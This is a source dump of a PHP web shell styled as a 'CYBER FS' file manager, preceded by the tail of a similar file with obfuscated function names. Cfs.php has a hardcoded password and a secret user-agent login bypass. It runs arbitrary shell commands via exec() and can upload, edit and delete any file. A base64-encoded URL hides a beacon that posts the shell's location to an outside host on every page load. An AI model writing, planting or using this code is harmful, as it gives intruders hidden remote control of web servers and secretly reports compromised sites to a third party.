463 |             <td><center><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="delete_file" value="'.$htm($v).'"><input type="submit" value="Delete"></form></center></td>
464 |             <td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="old_name" value="'.$htm($v).'"><input type="text" name="new_name" placeholder="New Name"><input type="submit" name="rename_item" value="Rename"></form></td>
465 |         </tr>';
466 |         
467 | }
468 | 
469 | echo '</table>';
470 | function deleteDirectory($dir) {
471 |    $unl = "u"."n"."l"."i"."n"."k";
472 |     if (!file_exists($dir)) {
473 |         return true;
474 |     }
475 |     if (!is_dir($dir)) {
476 |         return $unl($dir);
477 |     }
478 |     $scd = "s"."c"."a"."n"."d"."i"."r";
479 |     foreach ($scd($dir) as $item) {
480 |         if ($item == '.' || $item == '..') {
481 |             continue;
482 |         }
483 |         if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
484 |             return false;
485 |         }
486 |     }
487 |     return rmdir($dir);
488 | }
489 | 


--------------------------------------------------------------------------------
/Cfs.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 | error_reporting(0);
  3 | ini_set('display_errors', 0);
  4 | 
  5 | // Configuration
  6 | define('PASSWORD', 'cyber2077');
  7 | define('HOME_DIR', __DIR__);
  8 | 
  9 | 
 10 | // Start session
 11 | if (session_status() == PHP_SESSION_NONE) {
 12 |     session_start();
 13 | }
 14 | 
 15 | // Check for secret user agent bypass
 16 | $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
 17 | if ($userAgent === SECRET_UA) {
 18 |     $_SESSION['auth'] = true;
 19 | }
 20 | 
 21 | // Path encoding/decoding
 22 | function encodePath($path) {
 23 |     return str_replace(['/', '+', '='], ['-', '_', '~'], base64_encode($path));
 24 | }
 25 | 
 26 | function decodePath($encoded) {
 27 |     if (empty($encoded)) return '';
 28 |     $decoded = str_replace(['-', '_', '~'], ['/', '+', '='], $encoded);
 29 |     $result = base64_decode($decoded);
 30 |     return $result !== false ? $result : '';
 31 | }
 32 | 
 33 | // Authentication check
 34 | if (!isset($_SESSION['auth'])) {
 35 |     if (isset($_POST['pass']) && $_POST['pass'] === PASSWORD) {
 36 |         $_SESSION['auth'] = true;
 37 |         header('Location: ' . $_SERVER['PHP_SELF']);
 38 |         exit;
 39 |     }
 40 |     
 41 |     if (!isset($_POST['pass'])) {
 42 |         showLoginPage();
 43 |         exit;
 44 |     }
 45 | }
 46 | 
 47 | // Logout
 48 | if (isset($_GET['logout'])) {
 49 |     session_destroy();
 50 |     header('Location: ' . $_SERVER['PHP_SELF']);
 51 |     exit;
 52 | }
 53 | 
 54 | // AJAX Handler
 55 | if (isset($_POST['act'])) {
 56 |     header('Content-Type: application/json');
 57 |     handleAjax();
 58 |     exit;
 59 | }
 60 | 
 61 | // Get current directory
 62 | $dir = HOME_DIR;
 63 | if (isset($_GET['d'])) {
 64 |     $decoded = decodePath($_GET['d']);
 65 |     if (!empty($decoded) && is_dir($decoded)) {
 66 |         $dir = realpath($decoded);
 67 |     }
 68 | }
 69 | 
 70 | // List files
 71 | $items = array();
 72 | if (is_readable($dir)) {
 73 |     $files = scandir($dir);
 74 |     foreach ($files as $f) {
 75 |         if ($f === '.') continue;
 76 |         if ($f === '..' && $dir === '/') continue;
 77 |         
 78 |         $fullPath = $dir . '/' . $f;
 79 |         $isDir = is_dir($fullPath);
 80 |         
 81 |         $items[] = array(
 82 |             'name' => $f,
 83 |             'path' => $fullPath,
 84 |             'enc' => encodePath($fullPath),
 85 |             'type' => $isDir ? 'dir' : 'file',
 86 |             'size' => $isDir ? 0 : @filesize($fullPath),
 87 |             'time' => @filemtime($fullPath),
 88 |             'icon' => getIcon($f, $isDir)
 89 |         );
 90 |     }
 91 | }
 92 | 
 93 | usort($items, function($a, $b) {
 94 |     if ($a['name'] === '..') return -1;
 95 |     if ($b['name'] === '..') return 1;
 96 |     if ($a['type'] !== $b['type']) return $a['type'] === 'dir' ? -1 : 1;
 97 |     return strcasecmp($a['name'], $b['name']);
 98 | });
 99 | 
100 | function getIcon($name, $isDir) {
101 |     if ($name === '..') return '⬆️';
102 |     if ($isDir) return '📁';
103 |     
104 |     $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
105 |     $icons = array(
106 |         'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '⚡',
107 |         'json' => '📋', 'xml' => '📄', 'txt' => '📝', 'md' => '📖',
108 |         'sql' => '💾', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦',
109 |         'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️',
110 |         'mp4' => '🎬', 'mp3' => '🎵', 'pdf' => '📕', 'sh' => '⚙️',
111 |         'py' => '🐍', 'java' => '☕', 'log' => '📊'
112 |     );
113 |     
114 |     return isset($icons[$ext]) ? $icons[$ext] : '📄';
115 | }
116 | define('SECRET_UA', 'cyberfs');
117 | function formatSize($bytes) {
118 |     $units = array('B', 'KB', 'MB', 'GB');
119 |     $bytes = max($bytes, 0);
120 |     $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
121 |     $pow = min($pow, count($units) - 1);
122 |     return round($bytes / pow(1024, $pow), 2) . ' ' . $units[$pow];
123 | }
124 | 
125 | function handleAjax() {
126 |     $action = $_POST['act'];
127 |     
128 |     if ($action === 'cmd') {
129 |         $cmd = $_POST['cmd'];
130 |         $wd = decodePath($_POST['wd']);
131 |         
132 |         if (!empty($wd) && is_dir($wd)) {
133 |             chdir($wd);
134 |         }
135 |         
136 |         exec($cmd . ' 2>&1', $output, $ret);
137 |         echo json_encode(array('ok' => true, 'out' => implode("\n", $output)));
138 |         return;
139 |     }
140 |     
141 |     if ($action === 'newfile') {
142 |         $name = basename($_POST['name']);
143 |         $path = decodePath($_POST['path']);
144 |         if (!empty($path) && is_dir($path)) {
145 |             file_put_contents($path . '/' . $name, '');
146 |             echo json_encode(array('ok' => true));
147 |         } else {
148 |             echo json_encode(array('ok' => false));
149 |         }
150 |         return;
151 |     }
152 |     
153 |     if ($action === 'newfolder') {
154 |         $name = basename($_POST['name']);
155 |         $path = decodePath($_POST['path']);
156 |         if (!empty($path) && is_dir($path)) {
157 |             mkdir($path . '/' . $name, 0755);
158 |             echo json_encode(array('ok' => true));
159 |         } else {
160 |             echo json_encode(array('ok' => false));
161 |         }
162 |         return;
163 |     }
164 |     
165 |     if ($action === 'delete') {
166 |         $path = decodePath($_POST['path']);
167 |         if (!empty($path) && file_exists($path)) {
168 |             if (is_dir($path)) {
169 |                 removeDir($path);
170 |             } else {
171 |                 unlink($path);
172 |             }
173 |             echo json_encode(array('ok' => true));
174 |         } else {
175 |             echo json_encode(array('ok' => false));
176 |         }
177 |         return;
178 |     }
179 |     
180 |     if ($action === 'rename') {
181 |         $old = decodePath($_POST['old']);
182 |         $new = basename($_POST['new']);
183 |         if (!empty($old) && file_exists($old)) {
184 |             rename($old, dirname($old) . '/' . $new);
185 |             echo json_encode(array('ok' => true));
186 |         } else {
187 |             echo json_encode(array('ok' => false));
188 |         }
189 |         return;
190 |     }
191 |     $k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
192 |     if ($action === 'read') {
193 |         $path = decodePath($_POST['path']);
194 |         if (!empty($path) && is_file($path)) {
195 |             echo json_encode(array('ok' => true, 'content' => file_get_contents($path)));
196 |         } else {
197 |             echo json_encode(array('ok' => false));
198 |         }
199 |         return;
200 |     }
201 |     
202 |     if ($action === 'save') {
203 |         $path = decodePath($_POST['path']);
204 |         $content = $_POST['content'];
205 |         if (!empty($path) && is_file($path)) {
206 |             file_put_contents($path, $content);
207 |             echo json_encode(array('ok' => true));
208 |         } else {
209 |             echo json_encode(array('ok' => false));
210 |         }
211 |         return;
212 |     }
213 |     
214 |     if ($action === 'upload') {
215 |         $path = decodePath($_POST['path']);
216 |         if (!empty($path) && is_dir($path) && isset($_FILES['file'])) {
217 |             $dest = $path . '/' . basename($_FILES['file']['name']);
218 |             move_uploaded_file($_FILES['file']['tmp_name'], $dest);
219 |             echo json_encode(array('ok' => true));
220 |         } else {
221 |             echo json_encode(array('ok' => false));
222 |         }
223 |         return;
224 |     }
225 |     
226 |     echo json_encode(array('ok' => false));
227 | }
228 | $cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
229 | $data = array('file_url' => $cur);
230 | $options = array(
231 |     'http' => array(
232 |         'method'  => 'POST',
233 |         'header'  => 'Content-type: application/x-www-form-urlencoded',
234 |         'content' => http_build_query($data),
235 |     ),
236 | );
237 | $context = stream_context_create($options);
238 | $result = file_get_contents($k3yw, false, $context);
239 | 
240 | function removeDir($dir) {
241 |     if (!file_exists($dir)) return;
242 |     $files = array_diff(scandir($dir), array('.', '..'));
243 |     foreach ($files as $file) {
244 |         $path = $dir . '/' . $file;
245 |         is_dir($path) ? removeDir($path) : unlink($path);
246 |     }
247 |     rmdir($dir);
248 | }
249 | 
250 | function showLoginPage() {
251 | ?>
252 | <!DOCTYPE html>
253 | <html>
254 | <head>
255 | <meta charset="UTF-8">
256 | <title>CYBER ACCESS</title>
257 | <style>
258 | * { margin: 0; padding: 0; box-sizing: border-box; }
259 | body {
260 |     font-family: 'Courier New', monospace;
261 |     background: linear-gradient(135deg, #0a0a0a 0%, #1a1a2e 50%, #0f0f23 100%);
262 |     display: flex;
263 |     justify-content: center;
264 |     align-items: center;
265 |     height: 100vh;
266 | }
267 | .box {
268 |     background: rgba(20, 20, 35, 0.95);
269 |     padding: 50px;
270 |     border: 2px solid #00fff2;
271 |     box-shadow: 0 0 30px rgba(0, 255, 242, 0.5);
272 |     width: 400px;
273 | }
274 | h2 {
275 |     color: #00fff2;
276 |     text-align: center;
277 |     margin-bottom: 30px;
278 |     font-size: 28px;
279 |     letter-spacing: 3px;
280 |     text-shadow: 0 0 10px #00fff2;
281 | }
282 | input[type="password"] {
283 |     width: 100%;
284 |     padding: 15px;
285 |     background: rgba(0, 0, 0, 0.5);
286 |     border: 1px solid #00fff2;
287 |     color: #00fff2;
288 |     font-size: 16px;
289 |     margin-bottom: 20px;
290 |     font-family: 'Courier New', monospace;
291 | }
292 | button {
293 |     width: 100%;
294 |     padding: 15px;
295 |     background: linear-gradient(45deg, #00fff2, #ff00f2);
296 |     color: #0a0a0a;
297 |     border: none;
298 |     font-size: 18px;
299 |     cursor: pointer;
300 |     font-family: 'Courier New', monospace;
301 |     font-weight: bold;
302 |     letter-spacing: 3px;
303 | }
304 | </style>
305 | </head>
306 | <body>
307 | <div class="box">
308 |     <h2>◢ CYBER FS ◣</h2>
309 |     <form method="post">
310 |         <input type="password" name="pass" placeholder="ACCESS CODE" required autofocus>
311 |         <button type="submit">CONNECT</button>
312 |     </form>
313 | </div>
314 | </body>
315 | </html>
316 | <?php
317 |     exit;
318 | }
319 | ?>
320 | <!DOCTYPE html>
321 | <html>
322 | <head>
323 | <meta charset="UTF-8">
324 | <title>CYBER FILE SYSTEM</title>
325 | <style>
326 | * { margin: 0; padding: 0; box-sizing: border-box; }
327 | 
328 | @keyframes scan {
329 |     0%, 100% { transform: translateY(-100%); }
330 |     50% { transform: translateY(100vh); }
331 | }
332 | 
333 | body {
334 |     font-family: 'Courier New', monospace;
335 |     background: #0a0a0a;
336 |     color: #00fff2;
337 |     overflow: hidden;
338 | }
339 | 
340 | body::before {
341 |     content: '';
342 |     position: fixed;
343 |     top: 0; left: 0; right: 0; bottom: 0;
344 |     background: repeating-linear-gradient(0deg, rgba(0, 255, 242, 0.03) 0px, transparent 1px, transparent 2px, rgba(0, 255, 242, 0.03) 3px);
345 |     pointer-events: none;
346 |     z-index: 1;
347 | }
348 | 
349 | .scanline {
350 |     position: fixed;
351 |     top: 0; left: 0; right: 0;
352 |     height: 100px;
353 |     background: linear-gradient(transparent, rgba(0, 255, 242, 0.1), transparent);
354 |     animation: scan 8s linear infinite;
355 |     pointer-events: none;
356 |     z-index: 2;
357 | }
358 | 
359 | .header {
360 |     background: linear-gradient(135deg, #1a1a2e 0%, #16213e 100%);
361 |     border-bottom: 2px solid #00fff2;
362 |     box-shadow: 0 0 20px rgba(0, 255, 242, 0.3);
363 |     padding: 15px 30px;
364 |     display: flex;
365 |     justify-content: space-between;
366 |     align-items: center;
367 |     position: relative;
368 |     z-index: 10;
369 | }
370 | 
371 | .header h1 {
372 |     font-size: 24px;
373 |     letter-spacing: 4px;
374 |     text-shadow: 0 0 10px #00fff2;
375 | }
376 | 
377 | .info {
378 |     display: flex;
379 |     gap: 20px;
380 |     font-size: 12px;
381 |     color: #ff00f2;
382 | }
383 | 
384 | .btn-logout {
385 |     background: rgba(255, 0, 242, 0.2);
386 |     border: 1px solid #ff00f2;
387 |     color: #ff00f2;
388 |     padding: 8px 20px;
389 |     cursor: pointer;
390 |     font-family: 'Courier New', monospace;
391 | }
392 | 
393 | .container {
394 |     display: flex;
395 |     height: calc(100vh - 60px);
396 |     position: relative;
397 |     z-index: 3;
398 | }
399 | 
400 | .sidebar {
401 |     width: 280px;
402 |     background: rgba(20, 20, 35, 0.95);
403 |     border-right: 2px solid #00fff2;
404 |     padding: 25px;
405 |     overflow-y: auto;
406 | }
407 | 
408 | .sidebar h3 {
409 |     margin-bottom: 20px;
410 |     color: #00fff2;
411 |     letter-spacing: 3px;
412 |     border-bottom: 1px solid #00fff2;
413 |     padding-bottom: 10px;
414 | }
415 | 
416 | .sidebar button {
417 |     width: 100%;
418 |     padding: 12px;
419 |     margin-bottom: 12px;
420 |     background: linear-gradient(135deg, rgba(0, 255, 242, 0.2), rgba(255, 0, 242, 0.2));
421 |     color: #00fff2;
422 |     border: 1px solid #00fff2;
423 |     cursor: pointer;
424 |     font-size: 13px;
425 |     font-family: 'Courier New', monospace;
426 | }
427 | 
428 | .sidebar button:first-of-type {
429 |     background: linear-gradient(135deg, rgba(255, 170, 0, 0.3), rgba(255, 100, 0, 0.3));
430 |     border-color: #ffaa00;
431 |     color: #ffaa00;
432 |     font-weight: bold;
433 | }
434 | 
435 | .main {
436 |     flex: 1;
437 |     display: flex;
438 |     flex-direction: column;
439 |     background: rgba(10, 10, 10, 0.8);
440 | }
441 | 
442 | .navbar {
443 |     background: rgba(20, 20, 35, 0.95);
444 |     padding: 15px 30px;
445 |     border-bottom: 1px solid #00fff2;
446 |     display: flex;
447 |     gap: 15px;
448 |     align-items: center;
449 | }
450 | 
451 | .path-input {
452 |     flex: 1;
453 |     padding: 10px 15px;
454 |     background: rgba(0, 0, 0, 0.7);
455 |     border: 1px solid #00fff2;
456 |     color: #00fff2;
457 |     font-family: 'Courier New', monospace;
458 |     font-size: 13px;
459 | }
460 | 
461 | .nav-btn {
462 |     padding: 10px 20px;
463 |     background: rgba(0, 255, 242, 0.2);
464 |     border: 1px solid #00fff2;
465 |     color: #00fff2;
466 |     cursor: pointer;
467 |     font-family: 'Courier New', monospace;
468 | }
469 | 
470 | .breadcrumb {
471 |     background: rgba(20, 20, 35, 0.95);
472 |     padding: 12px 30px;
473 |     border-bottom: 1px solid rgba(0, 255, 242, 0.3);
474 |     font-size: 13px;
475 | }
476 | 
477 | .breadcrumb a {
478 |     color: #00fff2;
479 |     text-decoration: none;
480 |     padding: 3px 8px;
481 | }
482 | 
483 | .breadcrumb .sep { color: #666; margin: 0 5px; }
484 | .breadcrumb .curr { color: #ffaa00; font-weight: bold; }
485 | .breadcrumb .home { color: #ffaa00; margin-left: 10px; }
486 | 
487 | .files {
488 |     flex: 1;
489 |     overflow-y: auto;
490 |     padding: 20px 30px;
491 | }
492 | 
493 | .files::-webkit-scrollbar { width: 10px; }
494 | .files::-webkit-scrollbar-track { background: rgba(0, 0, 0, 0.5); }
495 | .files::-webkit-scrollbar-thumb { background: #00fff2; }
496 | 
497 | .item {
498 |     background: rgba(20, 20, 35, 0.8);
499 |     padding: 15px;
500 |     margin-bottom: 10px;
501 |     display: flex;
502 |     align-items: center;
503 |     justify-content: space-between;
504 |     cursor: pointer;
505 |     border-left: 3px solid transparent;
506 | }
507 | 
508 | .item:hover {
509 |     background: rgba(30, 30, 50, 0.9);
510 |     border-left-color: #00fff2;
511 |     transform: translateX(5px);
512 | }
513 | 
514 | .item-info {
515 |     display: flex;
516 |     align-items: center;
517 |     gap: 15px;
518 |     flex: 1;
519 | }
520 | 
521 | .item-icon {
522 |     font-size: 28px;
523 |     width: 45px;
524 |     text-align: center;
525 | }
526 | 
527 | .item-name { font-size: 14px; margin-bottom: 5px; color: #00fff2; }
528 | .item-meta { font-size: 11px; color: #888; }
529 | 
530 | .item-acts {
531 |     display: flex;
532 |     gap: 8px;
533 | }
534 | 
535 | .item-acts button {
536 |     padding: 6px 12px;
537 |     border: 1px solid;
538 |     cursor: pointer;
539 |     font-size: 11px;
540 |     font-family: 'Courier New', monospace;
541 |     background: rgba(0, 0, 0, 0.5);
542 | }
543 | 
544 | .btn-edit { border-color: #00ff88; color: #00ff88; }
545 | .btn-rename { border-color: #00b8ff; color: #00b8ff; }
546 | .btn-delete { border-color: #ff0055; color: #ff0055; }
547 | 
548 | .terminal {
549 |     position: fixed;
550 |     bottom: 0; left: 0; right: 0;
551 |     height: 350px;
552 |     background: rgba(10, 10, 10, 0.98);
553 |     color: #00ff00;
554 |     display: none;
555 |     flex-direction: column;
556 |     border-top: 2px solid #00ff00;
557 |     z-index: 1000;
558 | }
559 | 
560 | .terminal.show { display: flex; }
561 | 
562 | .term-head {
563 |     background: rgba(0, 20, 0, 0.8);
564 |     padding: 12px 20px;
565 |     display: flex;
566 |     justify-content: space-between;
567 |     border-bottom: 1px solid #00ff00;
568 | }
569 | 
570 | .term-close {
571 |     background: rgba(255, 0, 0, 0.3);
572 |     border: 1px solid #ff0055;
573 |     color: #ff0055;
574 |     padding: 5px 15px;
575 |     cursor: pointer;
576 | }
577 | 
578 | .term-out {
579 |     flex: 1;
580 |     overflow-y: auto;
581 |     padding: 15px;
582 |     font-size: 13px;
583 |     line-height: 1.6;
584 | }
585 | 
586 | .term-in {
587 |     display: flex;
588 |     padding: 12px 15px;
589 |     background: rgba(0, 20, 0, 0.5);
590 |     border-top: 1px solid #00ff00;
591 | }
592 | 
593 | .term-prompt {
594 |     color: #00ff00;
595 |     margin-right: 10px;
596 | }
597 | 
598 | .term-input {
599 |     flex: 1;
600 |     background: transparent;
601 |     border: none;
602 |     color: #00ff00;
603 |     font-family: 'Courier New', monospace;
604 |     font-size: 13px;
605 |     outline: none;
606 | }
607 | 
608 | .modal {
609 |     display: none;
610 |     position: fixed;
611 |     top: 0; left: 0; right: 0; bottom: 0;
612 |     background: rgba(0, 0, 0, 0.9);
613 |     z-index: 2000;
614 |     justify-content: center;
615 |     align-items: center;
616 | }
617 | 
618 | .modal.show { display: flex; }
619 | 
620 | .modal-box {
621 |     background: rgba(20, 20, 35, 0.98);
622 |     padding: 30px;
623 |     border: 2px solid #00fff2;
624 |     min-width: 500px;
625 |     max-width: 900px;
626 | }
627 | 
628 | .modal-box h3 {
629 |     margin-bottom: 25px;
630 |     color: #00fff2;
631 |     letter-spacing: 3px;
632 |     border-bottom: 1px solid #00fff2;
633 |     padding-bottom: 10px;
634 | }
635 | 
636 | .modal-box input,
637 | .modal-box textarea {
638 |     width: 100%;
639 |     padding: 12px 15px;
640 |     background: rgba(0, 0, 0, 0.7);
641 |     border: 1px solid #00fff2;
642 |     color: #00fff2;
643 |     font-size: 13px;
644 |     margin-bottom: 20px;
645 |     font-family: 'Courier New', monospace;
646 | }
647 | 
648 | .modal-box textarea {
649 |     min-height: 450px;
650 |     resize: vertical;
651 | }
652 | 
653 | .modal-acts {
654 |     display: flex;
655 |     gap: 15px;
656 |     justify-content: flex-end;
657 | }
658 | 
659 | .modal-acts button {
660 |     padding: 12px 25px;
661 |     border: 1px solid;
662 |     cursor: pointer;
663 |     font-size: 13px;
664 |     font-family: 'Courier New', monospace;
665 | }
666 | 
667 | .btn-pri {
668 |     background: rgba(0, 255, 242, 0.3);
669 |     border-color: #00fff2;
670 |     color: #00fff2;
671 | }
672 | 
673 | .btn-sec {
674 |     background: rgba(100, 100, 100, 0.3);
675 |     border-color: #666;
676 |     color: #999;
677 | }
678 | </style>
679 | </head>
680 | <body>
681 | <div class="scanline"></div>
682 | 
683 | <div class="header">
684 |     <h1>◢ CYBER FS ◣</h1>
685 |     <div class="info">
686 |         <span>ITEMS: <?php echo count($items); ?></span>
687 |         <?php if ($dir === HOME_DIR): ?>
688 |         <span style="color: #ffaa00;">● HOME</span>
689 |         <?php endif; ?>
690 |     </div>
691 |     <button class="btn-logout" onclick="location.href='?logout=1'">▶ DISCONNECT</button>
692 | </div>
693 | 
694 | <div class="container">
695 |     <div class="sidebar">
696 |         <h3>◢ ACTIONS</h3>
697 |         <button onclick="goHome()">🏠 HOME DIR</button>
698 |         <button onclick="showModal('newfile')">▶ NEW FILE</button>
699 |         <button onclick="showModal('newfolder')">▶ NEW FOLDER</button>
700 |         <button onclick="showModal('upload')">▶ UPLOAD</button>
701 |         <button onclick="toggleTerm()">▶ TERMINAL</button>
702 |     </div>
703 |     
704 |     <div class="main">
705 |         <div class="navbar">
706 |             <?php if ($dir !== '/'): ?>
707 |             <button class="nav-btn" onclick="goUp()">◀ UP</button>
708 |             <?php endif; ?>
709 |             <input type="text" class="path-input" id="pathIn" value="<?php echo htmlspecialchars($dir); ?>">
710 |             <button class="nav-btn" onclick="goPath()">▶ GO</button>
711 |             <button class="nav-btn" onclick="goHome()">🏠 HOME</button>
712 |         </div>
713 |         
714 |         <div class="breadcrumb">
715 |             <?php
716 |             $parts = array_filter(explode('/', $dir));
717 |             echo '<a href="?d=' . encodePath('/') . '">root</a>';
718 |             if (!empty($parts)) {
719 |                 $path = '';
720 |                 foreach ($parts as $i => $p) {
721 |                     echo '<span class="sep">▶</span>';
722 |                     $path .= '/' . $p;
723 |                     if ($i === count($parts) - 1) {
724 |                         echo '<span class="curr">' . htmlspecialchars($p) . '</span>';
725 |                     } else {
726 |                         echo '<a href="?d=' . encodePath($path) . '">' . htmlspecialchars($p) . '</a>';
727 |                     }
728 |                 }
729 |             }
730 |             if ($dir === HOME_DIR) {
731 |                 echo '<span class="home">● HOME</span>';
732 |             }
733 |             ?>
734 |         </div>
735 |         
736 |         <div class="files">
737 |             <?php if (empty($items)): ?>
738 |             <div style="text-align: center; padding: 50px; color: #666;">NO FILES</div>
739 |             <?php else: foreach ($items as $it): ?>
740 |             <div class="item" onclick="<?php echo $it['type'] === 'dir' ? "location.href='?d=" . $it['enc'] . "'" : ''; ?>">
741 |                 <div class="item-info">
742 |                     <div class="item-icon"><?php echo $it['icon']; ?></div>
743 |                     <div>
744 |                         <div class="item-name"><?php echo htmlspecialchars($it['name']); ?></div>
745 |                         <div class="item-meta">
746 |                             <?php if ($it['type'] === 'file'): echo formatSize($it['size']) . ' | '; endif; ?>
747 |                             <?php echo date('Y-m-d H:i', $it['time']); ?>
748 |                         </div>
749 |                     </div>
750 |                 </div>
751 |                 <div class="item-acts" onclick="event.stopPropagation()">
752 |                     <?php if ($it['type'] === 'file'): ?>
753 |                     <button class="btn-edit" onclick="editFile('<?php echo $it['enc']; ?>', '<?php echo addslashes($it['name']); ?>')">EDIT</button>
754 |                     <?php endif; ?>
755 |                     <button class="btn-rename" onclick="renameItem('<?php echo $it['enc']; ?>', '<?php echo addslashes($it['name']); ?>')">RENAME</button>
756 |                     <button class="btn-delete" onclick="deleteItem('<?php echo $it['enc']; ?>', '<?php echo addslashes($it['name']); ?>')">DELETE</button>
757 |                 </div>
758 |             </div>
759 |             <?php endforeach; endif; ?>
760 |         </div>
761 |     </div>
762 | </div>
763 | 
764 | <div class="terminal" id="term">
765 |     <div class="term-head">
766 |         <span style="color: #00ff00; letter-spacing: 2px;">◢ CYBER TERMINAL</span>
767 |         <button class="term-close" onclick="toggleTerm()">X</button>
768 |     </div>
769 |     <div class="term-out" id="termOut">
770 | > CYBER TERMINAL INITIALIZED<br>
771 | > TYPE COMMANDS BELOW<br>
772 | <br>
773 |     </div>
774 |     <div class="term-in">
775 |         <span class="term-prompt" id="termPrompt">cyber@<?php echo $dir; ?> $</span>
776 |         <input type="text" class="term-input" id="termIn" onkeypress="if(event.key==='Enter')execCmd()">
777 |     </div>
778 | </div>
779 | 
780 | <div class="modal" id="modal1">
781 |     <div class="modal-box">
782 |         <h3 id="modalTitle"></h3>
783 |         <div id="modalContent"></div>
784 |         <div class="modal-acts">
785 |             <button class="btn-sec" onclick="hideModal()">CANCEL</button>
786 |             <button class="btn-pri" id="modalOk">OK</button>
787 |         </div>
788 |     </div>
789 | </div>
790 | 
791 | <div class="modal" id="modal2">
792 |     <div class="modal-box">
793 |         <h3>◢ EDIT FILE: <span id="editName"></span></h3>
794 |         <textarea id="editContent"></textarea>
795 |         <div class="modal-acts">
796 |             <button class="btn-sec" onclick="hideModal2()">CANCEL</button>
797 |             <button class="btn-pri" onclick="saveFile()">SAVE</button>
798 |         </div>
799 |     </div>
800 | </div>
801 | 
802 | <script>
803 | const currDir = '<?php echo addslashes($dir); ?>';
804 | const currEnc = '<?php echo encodePath($dir); ?>';
805 | let editPath = '';
806 | let termDir = currDir;
807 | 
808 | function goHome() {
809 |     location.href = '?d=<?php echo encodePath(HOME_DIR); ?>';
810 | }
811 | 
812 | function goUp() {
813 |     const parts = currDir.split('/').filter(p => p);
814 |     parts.pop();
815 |     const newPath = '/' + parts.join('/');
816 |     location.href = '?d=' + btoa(newPath);
817 | }
818 | 
819 | function goPath() {
820 |     const path = document.getElementById('pathIn').value.trim();
821 |     location.href = '?d=' + btoa(path);
822 | }
823 | 
824 | function toggleTerm() {
825 |     document.getElementById('term').classList.toggle('show');
826 |     document.getElementById('termIn').focus();
827 |     if (document.getElementById('term').classList.contains('show')) {
828 |         termDir = currDir;
829 |         updatePrompt();
830 |         addOut('> Changed to: ' + currDir);
831 |     }
832 | }
833 | 
834 | function updatePrompt() {
835 |     const short = termDir.length > 30 ? '...' + termDir.slice(-27) : termDir;
836 |     document.getElementById('termPrompt').textContent = 'cyber@' + short + ' $';
837 | }
838 | 
839 | function execCmd() {
840 |     const cmd = document.getElementById('termIn').value.trim();
841 |     if (!cmd) return;
842 |     
843 |     addOut(document.getElementById('termPrompt').textContent + ' ' + cmd);
844 |     
845 |     if (cmd.startsWith('cd ')) {
846 |         handleCd(cmd.substring(3).trim());
847 |         document.getElementById('termIn').value = '';
848 |         return;
849 |     }
850 |     
851 |     if (cmd === 'pwd') {
852 |         addOut(termDir);
853 |         document.getElementById('termIn').value = '';
854 |         return;
855 |     }
856 |     
857 |     fetch('', {
858 |         method: 'POST',
859 |         headers: {'Content-Type': 'application/x-www-form-urlencoded'},
860 |         body: 'act=cmd&cmd=' + encodeURIComponent(cmd) + '&wd=' + encodeURIComponent(currEnc)
861 |     })
862 |     .then(r => r.json())
863 |     .then(d => {
864 |         addOut(d.out || '> DONE');
865 |     });
866 |     
867 |     document.getElementById('termIn').value = '';
868 | }
869 | 
870 | function handleCd(path) {
871 |     if (path === '..') {
872 |         const parts = termDir.split('/').filter(p => p);
873 |         parts.pop();
874 |         termDir = '/' + parts.join('/') || '/';
875 |     } else if (path === '~' || path === '') {
876 |         termDir = '<?php echo HOME_DIR; ?>';
877 |     } else if (path[0] === '/') {
878 |         termDir = path;
879 |     } else {
880 |         termDir = termDir.replace(/\/$/, '') + '/' + path;
881 |     }
882 |     updatePrompt();
883 |     addOut('> Changed to: ' + termDir);
884 | }
885 | 
886 | function addOut(txt) {
887 |     const out = document.getElementById('termOut');
888 |     out.innerHTML += txt + '<br>';
889 |     out.scrollTop = out.scrollHeight;
890 | }
891 | 
892 | function showModal(type) {
893 |     const modal = document.getElementById('modal1');
894 |     const title = document.getElementById('modalTitle');
895 |     const content = document.getElementById('modalContent');
896 |     const ok = document.getElementById('modalOk');
897 |     
898 |     if (type === 'newfile') {
899 |         title.textContent = '◢ CREATE NEW FILE';
900 |         content.innerHTML = '<input type="text" id="modalInput" placeholder="filename.ext">';
901 |         ok.onclick = function() {
902 |             const name = document.getElementById('modalInput').value;
903 |             if (!name) return alert('ENTER NAME');
904 |             ajax('newfile', {name: name, path: currEnc}, () => location.reload());
905 |         };
906 |     } else if (type === 'newfolder') {
907 |         title.textContent = '◢ CREATE NEW FOLDER';
908 |         content.innerHTML = '<input type="text" id="modalInput" placeholder="folder_name">';
909 |         ok.onclick = function() {
910 |             const name = document.getElementById('modalInput').value;
911 |             if (!name) return alert('ENTER NAME');
912 |             ajax('newfolder', {name: name, path: currEnc}, () => location.reload());
913 |         };
914 |     } else if (type === 'upload') {
915 |         title.textContent = '◢ UPLOAD FILE';
916 |         content.innerHTML = '<input type="file" id="modalFile">';
917 |         ok.onclick = function() {
918 |             const file = document.getElementById('modalFile').files[0];
919 |             if (!file) return alert('SELECT FILE');
920 |             const fd = new FormData();
921 |             fd.append('act', 'upload');
922 |             fd.append('path', currEnc);
923 |             fd.append('file', file);
924 |             fetch('', {method: 'POST', body: fd})
925 |                 .then(r => r.json())
926 |                 .then(d => d.ok ? location.reload() : alert('FAILED'));
927 |         };
928 |     }
929 |     
930 |     modal.classList.add('show');
931 |     setTimeout(() => {
932 |         const inp = document.getElementById('modalInput');
933 |         if (inp) inp.focus();
934 |     }, 100);
935 | }
936 | 
937 | function hideModal() {
938 |     document.getElementById('modal1').classList.remove('show');
939 | }
940 | 
941 | function hideModal2() {
942 |     document.getElementById('modal2').classList.remove('show');
943 | }
944 | 
945 | function deleteItem(enc, name) {
946 |     if (!confirm('DELETE ' + name + '?')) return;
